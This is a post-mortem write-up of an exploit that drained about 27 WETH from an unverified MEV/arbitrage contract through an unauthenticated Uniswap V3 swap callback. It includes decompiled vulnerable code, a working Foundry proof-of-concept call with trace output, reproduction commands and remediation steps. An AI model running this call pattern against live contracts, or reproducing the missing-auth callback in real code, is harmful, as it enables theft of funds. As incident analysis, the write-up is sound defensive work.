Unverified MEV/Arb Contract `0x452E25…` — Unauthenticated `uniswapV3SwapCallback` Drains Its Own WETH

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2024-07-UnverifiedContr_0x452E25_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/UnverifiedContr_0x452E25_exp.sol.

Vulnerability classes: vuln/access-control/missing-auth

One sentence: an unverified on-chain arbitrage/MEV helper exposes a public, unauthenticated uniswapV3SwapCallback(int256,int256,bytes) that transfers an attacker-chosen token+amount to msg.sender, so anyone can call it directly and walk off with the contract's entire WETH balance — no swap, no pool, no flash loan.

Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo contains many unrelated PoCs that do not compile together, so this one was extracted). Full verbose trace: output.txt. The vulnerable contract is unverified on Etherscan, so the "vulnerable code" section below is reconstructed from its on-chain runtime bytecode (read via cast code … --block 20223094) and the live execution trace.

Key info#

TL;DR#

The vulnerable address is an unverified contract — almost certainly a private MEV/arbitrage helper that performs Uniswap V3 swaps and therefore implements the Uniswap V3 swap callback, uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes data) (selector 0xfa461e33).

A correct V3 callback must verify that msg.sender is the genuine Uniswap V3 pool that initiated the swap (the canonical pattern: recompute the pool address from the factory + the encoded pool key and require(msg.sender == computedPool)). This contract performs no such check. Its callback simply:

1. decodes the bytes data payload into (bool, address token),
2. picks one of the two int*Delta arguments as the amount, and
3. calls token.transfer(msg.sender, amount).

Because anyone can call this function with fully attacker-controlled arguments, the attacker just calls it directly with token = WETH and amount = 27.349e18 and the contract dutifully sends its own WETH to the caller. The entire balance (27.349638 WETH) is removed in a single external call; the on-chain attacker took exactly 27.349 WETH, leaving dust of 0.000638501953291492 WETH behind.

There is no AMM, no flash loan, no price manipulation — it is a pure missing-authorization bug on a function that is only ever supposed to be invoked by a Uniswap pool mid-swap.

Background — what the contract is#

The contract is unverified, but its bytecode dispatcher reveals a small, purpose-built helper. The public function selectors present at the fork block are:

So the contract is an Aave + Uniswap-V3 flash-arbitrage bot: it borrows via Aave/Uniswap, executes swaps, and repays. Notice the asymmetry — its Aave callback (0x23e30c8b) is carefully guarded (caller == Aave Pool && initiator == self), and every privileged admin helper checks caller == owner. But the Uniswap V3 swap callback was left completely open.

Two facts from on-chain state at the fork block make the exploit trivial:

The contract simply held ~27.35 WETH of working capital between arbitrage runs. The drained amount = 27.349638… − 0.000638… = 27.349 WETH exactly, matching the trace.

The vulnerable code#

The contract is unverified; below is the decompiled logic of the 0xfa461e33 branch reconstructed from the runtime bytecode (relevant disassembly snippet from cast code 0x452E25… --block 20223094).

Raw dispatcher entry (bytecode)#

The dispatcher routes selector fa461e33 to the callback handler:

...5763fa461e331461005c575f80fd5b        ; if selector == 0xfa461e33 → jump to 0x5c
3461018d57                               ; require msg.value == 0
606036600319011261018d57                 ; require calldatasize matches 3 packed args
600435 816024356044356001600160401b...   ; load amount0Delta, amount1Delta, data offset
...8385929513 8015610184575b1561018057   ; SLT comparison on the two deltas (sign/ordering guard)
...846113f1                              ; abi.decode data → (bool flag, address token)
60405163a9059cbb60e01b8152              ; build calldata for transfer(address,uint256)  (a9059cbb)
33 60048201526024810192...              ; arg0 = CALLER (msg.sender)          ← recipient
...92af1                                 ; token.call(transfer(msg.sender, delta))

The two load-bearing bytes:

• a9059cbb = the transfer(address,uint256) selector.
• 33 = the EVM opcode CALLER, placed as the recipient argument.

Equivalent Solidity (decompiled)#

// SELECTOR 0xfa461e33 — Uniswap V3 swap callback
// ⚠️ NO caller validation: msg.sender is NEVER checked against the expected V3 pool.
function uniswapV3SwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes calldata data
) external {
    // (light sign/ordering check on the deltas — does NOT authenticate the caller)
    require(/* amount0Delta or amount1Delta sign condition */);

    (bool flag, address token) = abi.decode(data, (bool, address));

    // selects amount0Delta or amount1Delta based on `flag`/sign
    uint256 amount = uint256(flag ? amount0Delta : amount1Delta);

    // ⚠️ sends an ATTACKER-CHOSEN token+amount to the CALLER
    IERC20(token).transfer(msg.sender, amount);     // a9059cbb + CALLER(33)
}

For comparison, the contract's Aave callback in the same bytecode is properly fenced (0x23e30c8b branch):

// SELECTOR 0x23e30c8b — Aave flashloan callback (CORRECTLY guarded)
function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes data) external {
    require(msg.sender == 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2, "not Aave Pool"); // 7360744434d6339a6b27d73d9eda62b6f66a0a04fa3303
    require(initiator == address(this), "not self");                                     // 306001600160a01b...16036
    ...
}

The 7360744434d6339a6b27d73d9eda62b6f66a0a04fa330361 literal in the Aave branch is the hard-coded Aave V3 Pool address; the V3 callback branch has no equivalent require(msg.sender == …).

What a correct V3 callback looks like#

The canonical, safe implementation (from Uniswap's own periphery verifyCallback) recomputes the pool address deterministically and rejects any other caller:

function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
    SwapCallbackData memory d = abi.decode(data, (SwapCallbackData));
    address expectedPool = PoolAddress.computeAddress(factory, PoolAddress.getPoolKey(d.tokenIn, d.tokenOut, d.fee));
    require(msg.sender == expectedPool, "Invalid pool");   // ← the missing line
    // ... pay only what the pool is owed ...
}

The vulnerable contract omits exactly this require — and additionally lets the caller dictate the token and the amount, so even a weak "is this an ERC20 I expect" filter is absent.

Root cause — why it was possible#

Uniswap V3 calls back into the swap initiator (msg.sender of pool.swap()) via uniswapV3SwapCallback, expecting the initiator to pay the input token to the pool. The security model is inverted-trust: the callback function trusts that it is being called by a real pool, and the pool trusts that the callback will pay. The single invariant that makes this safe is:

The callback MUST verify msg.sender is the exact V3 pool it intended to swap with, because the callback hands tokens to msg.sender.

This contract breaks that invariant in two compounding ways:

1. No caller authentication. uniswapV3SwapCallback never checks msg.sender. Any address can invoke it directly — there is no in-flight swap, no pool, nothing.
2. Attacker-controlled token & amount. The function reads the recipient as msg.sender, the token from the caller-supplied data payload, and the amount from the caller-supplied int*Delta arguments. So the caller fully specifies what to send, how much, and to whom (themselves).

The result is a one-line theft primitive: transfer(attacker, attackerAmount) of any token the contract holds. The developer plainly knew about callback authentication (the Aave callback is guarded by both msg.sender == Aave Pool and initiator == self) but forgot to apply the same discipline to the Uniswap V3 callback. It is an asymmetric-guard mistake: one callback hardened, a sibling callback left wide open.

Preconditions#

• The contract holds a non-zero balance of some ERC20 (here, 27.349638 WETH of arbitrage working capital). Any token the contract holds can be specified by the attacker.
• The function is external and has no caller/owner/reentrancy gate — satisfied unconditionally.
• No capital, flash loan, or market conditions are required. The attack costs only gas.

That is the entire bar: a vulnerable contract that holds tokens and is reachable at any block. The attacker chose block 20,223,095, presumably as soon as the contract's WETH balance was worth taking.

Attack walkthrough (with on-chain numbers from the trace)#

The PoC reproduces the live attack with a single direct call. From output.txt:

XXXExploit::testExploit()
 ├─ 0x452E25…::uniswapV3SwapCallback(27349000000000000000, 27349000000000000000, 0x…0001…c02aaa39…)
 │   ├─ WETH9::transfer(XXXExploit, 27349000000000000000)
 │   │   └─ emit Transfer(from: 0x452E25…, to: XXXExploit, value: 27349000000000000000)
 │   └─ ← [Return]
 ├─ WETH9::balanceOf(XXXExploit) [staticcall] → 27349000000000000000
 └─ emit log_named_decimal_uint("profit = ", 27349000000000000000, 18)

The data payload in the PoC is 0x0000…0001 (bool true) ‖ 0x…c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 (WETH address) — exactly abi.encode(bool(true), WETH).

Storage proof from the Transfer event in the trace (WETH balance slots):

• Victim's WETH balance slot 0x30f851f0…b458: 0x…017b8d6f501c45c4e4 (27.349638… WETH) → 0x…000244b6d21d44e4 (0.000638… WETH).
• Attacker's WETH balance slot 0x1da434b7…3a3c: 0 → 0x…017b8b2a994a288000 (27.349 WETH).

Profit / loss accounting#

Net attacker profit ≈ 27.349 WETH (~$90.3K), equal to the contract's stolen balance to the wei.

Diagrams#

Sequence of the attack#

Trusted-callback model: expected vs. actual#

Contract balance state evolution#

The asymmetric-guard mistake (why the dev "knew better")#

Remediation#

1. Authenticate the callback caller. The single missing line. Recompute the expected Uniswap V3 pool from the factory + pool key encoded in data and require(msg.sender == computedPool) (mirror Uniswap's CallbackValidation.verifyCallback). Never trust msg.sender in a V3/V2/flash callback implicitly.

   SOLIDITYCopy

   PoolAddress.PoolKey memory key = PoolAddress.getPoolKey(tokenIn, tokenOut, fee);
   require(msg.sender == PoolAddress.computeAddress(UNISWAP_V3_FACTORY, key), "unauthorized");
   

2. Do not let the callback's data choose the token and amount to send. A correct callback pays the pool exactly what the in-progress swap requires (amount0Delta/amount1Delta to the pool, not to msg.sender). The recipient must be the pool, not the caller. The current logic (transfer(msg.sender, callerSuppliedAmount)) is a generic "send me your tokens" function dressed up as a callback.

3. Apply guards symmetrically. The contract proves the author understood callback authentication (the Aave callback checks both msg.sender == Aave Pool and initiator == self). Every callback / reentrant entry point must receive the same treatment — audit for sibling functions that were missed.

4. Hold no idle funds in an MEV/arb helper, or sweep them. Working capital should be pulled in via the flash-loan/borrow it is meant to use and fully returned each transaction; leaving 27 WETH sitting in a contract with any open transfer path is an unnecessary standing target.

5. Add a reentrancy/owner gate as defense-in-depth. Even if a callback must be external, restricting the externally-reachable surface (e.g., only callable while an internal swapInProgress flag set by the contract's own swap entry point is true) closes the direct-call vector.

How to reproduce#

The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has many unrelated PoCs that fail to compile together under one forge build):

_shared/run_poc.sh 2024-07-UnverifiedContr_0x452E25_exp -vvvvv

• RPC: an Ethereum mainnet archive endpoint is required (fork pinned at block 20,223,094). foundry.toml uses an Infura archive endpoint; the test forks state at that block and replays the single unauthenticated callback.
• Result: [PASS] testExploit() with profit = : 27.349….

Expected tail:

Ran 1 test for test/UnverifiedContr_0x452E25_exp.sol:XXXExploit
[PASS] testExploit() (gas: 46181)
Logs:
  profit = : 27.349000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped

The whole exploit is the one external call in test/UnverifiedContr_0x452E25_exp.sol:24-26:

bytes memory data = abi.encode(bool(true), address(weth_));
IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);
emit log_named_decimal_uint("profit = ", weth_.balanceOf(address(this)), 18);

Reference: SlowMist Team — https://x.com/SlowMist_Team/status/1808334870650970514 (unverified contract 0x452E25…, Ethereum, ~27 ETH).

Sources & further analysis#

Reproductions & code

• Standalone PoC + full trace: 2024-07-UnverifiedContr_0x452E25_exp (evm-hack-registry mirror).
• Upstream DeFiHackLabs PoC: UnverifiedContr_0x452E25_exp.sol.
• Attack transaction: view on explorer.

Alerts & third-party analyses

• Original alert / thread: post on X.
• DeFiHackLabs incident explorer: search "Unverified MEV/Arb Contract 0x452E25…".
• Web3Sec X hacked database: search.
• Rekt leaderboard: search.
• Solodit incident search: search.

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.